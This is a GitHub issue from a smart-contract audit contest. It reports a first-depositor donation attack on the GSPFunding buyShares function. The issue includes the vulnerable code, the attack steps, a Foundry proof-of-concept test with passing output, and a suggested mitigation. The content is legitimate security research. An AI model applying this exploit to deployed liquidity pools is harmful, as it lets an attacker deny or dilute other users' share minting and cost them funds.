You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
{{ message }}
This repository has been archived by the owner on Jun 30, 2024. It is now read-only.
DuplicateA valid issue that is a duplicate of an issue with `Has Duplicates` labelMediumA valid Medium severity issueRewardA payout will be made for this issue
The protocol is vulnerable to first depositor issue and donation attack
Summary
The protocol is vulnerable to the first depositor issue.
Vulnerability Detail
GSPFunding::buyShares function has an if/else block that works depending on the total shares. The logic for the initial deposit and all deposits after that are different. The initial depositor can cause other users to mint unfair amount of shares or break share minting.
file: GSPFunding
// function buy shares
...
if (totalSupply ==0) {
// case 1. initial supply// The shares will be minted to user
shares = quoteBalance < DecimalMath.mulFloor(baseBalance, _I_)
? DecimalMath.divFloor(quoteBalance, _I_)
: baseBalance;
// The target will be updated
_BASE_TARGET_ =uint112(shares);
_QUOTE_TARGET_ =uint112(DecimalMath.mulFloor(shares, _I_));
} elseif (baseReserve >0&& quoteReserve >0) {
// case 2. normal caseuint256 baseInputRatio = DecimalMath.divFloor(baseInput, baseReserve);
uint256 quoteInputRatio = DecimalMath.divFloor(quoteInput, quoteReserve);
uint256 mintRatio = quoteInputRatio < baseInputRatio ? quoteInputRatio : baseInputRatio;
// The shares will be minted to user
shares = DecimalMath.mulFloor(totalSupply, mintRatio);
...
Donate huge amount of tokens by directly transferring them
This will increase baseReserve and/or quoteReserve
Other users will get less shares due to these shares being calculated compared to reserves.
Coded PoC
You can use the protocol's own test suite to test this PoC.
-Copy and paste the snippet into the GSPFunding.t.sol test file
-Run it with forge test --match-test test_firstDepositor --fork-url YOUR_KEY -vvv
function test_firstDepositor() public {
// Transfer tokens to accounts
vm.startPrank(DAI_WHALE);
dai.transfer(USER, 150 ether);
dai.transfer(OTHER, 150 ether);
vm.stopPrank();
vm.startPrank(USDC_WHALE);
usdc.transfer(USER, 150*1e6);
usdc.transfer(OTHER, 150*1e6);
vm.stopPrank();
// Mint with min amount first.
vm.startPrank(USER);
dai.transfer(address(gsp), 1001); //min amount
usdc.transfer(address(gsp), 1); // quote balance is much more compared to base balance. -> Shares will be calculated based on base balance.
gsp.buyShares(USER);
assertEq(gsp.balanceOf(USER), 1001);
// Donate directly and then call sync to update reserves.
dai.transfer(address(gsp), 100 ether);
gsp.sync();
vm.stopPrank();
// Another user tries to mint 10e18 worth of shares.// It will revert due to mint amount is not enough.
vm.startPrank(OTHER);
dai.transfer(address(gsp), 10e18);
usdc.transfer(address(gsp), 1e7);
vm.expectRevert("MINT_AMOUNT_NOT_ENOUGH");
gsp.buyShares(OTHER);
// User can only mint if he/she sends more than the first depositor's donation amount.
dai.transfer(address(gsp), 100e18);
usdc.transfer(address(gsp), 1e8);
gsp.buyShares(OTHER);
}
Results after running the test:
Running 1 test for test/GSPFunding.t.sol:TestGSPFunding
[PASS] test_firstDepositor() (gas: 367664)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.87s
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Impact
First depositor can cause other users to get less shares or break minting shares completely.
The text was updated successfully, but these errors were encountered:
sherlock-admin
changed the title
Massive Fern Bobcat - Unbounded Fee Rates in GSP.sol Initialization Function
Ancient Raspberry Wallaby - The protocol is vulnerable to first depositor issue and donation attack
Dec 28, 2023
sherlock-admin
changed the title
Ancient Raspberry Wallaby - The protocol is vulnerable to first depositor issue and donation attack
osmanozdemir1 - The protocol is vulnerable to first depositor issue and donation attack
Jan 12, 2024
Sign up for freeto subscribe to this conversation on GitHub.
Already have an account?
Sign in.
Labels
DuplicateA valid issue that is a duplicate of an issue with `Has Duplicates` labelMediumA valid Medium severity issueRewardA payout will be made for this issue
osmanozdemir1
high
The protocol is vulnerable to first depositor issue and donation attack
Summary
The protocol is vulnerable to the first depositor issue.
Vulnerability Detail
GSPFunding::buyShares
function has an if/else block that works depending on the total shares. The logic for the initial deposit and all deposits after that are different. The initial depositor can cause other users to mint unfair amount of shares or break share minting.https://github.com/sherlock-audit/2023-12-dodo-gsp/blob/main/dodo-gassaving-pool/contracts/GasSavingPool/impl/GSPFunding.sol#L56C1-L61C31
The minimum share amount to mint is 1001.
The first depositor can:
Mint 1001 shares
Donate huge amount of tokens by directly transferring them
This will increase
baseReserve
and/orquoteReserve
Other users will get less shares due to these shares being calculated compared to reserves.
Coded PoC
You can use the protocol's own test suite to test this PoC.
-Copy and paste the snippet into the GSPFunding.t.sol test file
-Run it with
forge test --match-test test_firstDepositor --fork-url YOUR_KEY -vvv
Results after running the test:
Impact
Code Snippet
https://github.com/sherlock-audit/2023-12-dodo-gsp/blob/main/dodo-gassaving-pool/contracts/GasSavingPool/impl/GSPFunding.sol#L56C1-L71C67
Tool used
Manual Review
Recommendation
The protocol team may provide initial supply and mint some initial share to prevent this issue.
Duplicate of #55
The text was updated successfully, but these errors were encountered: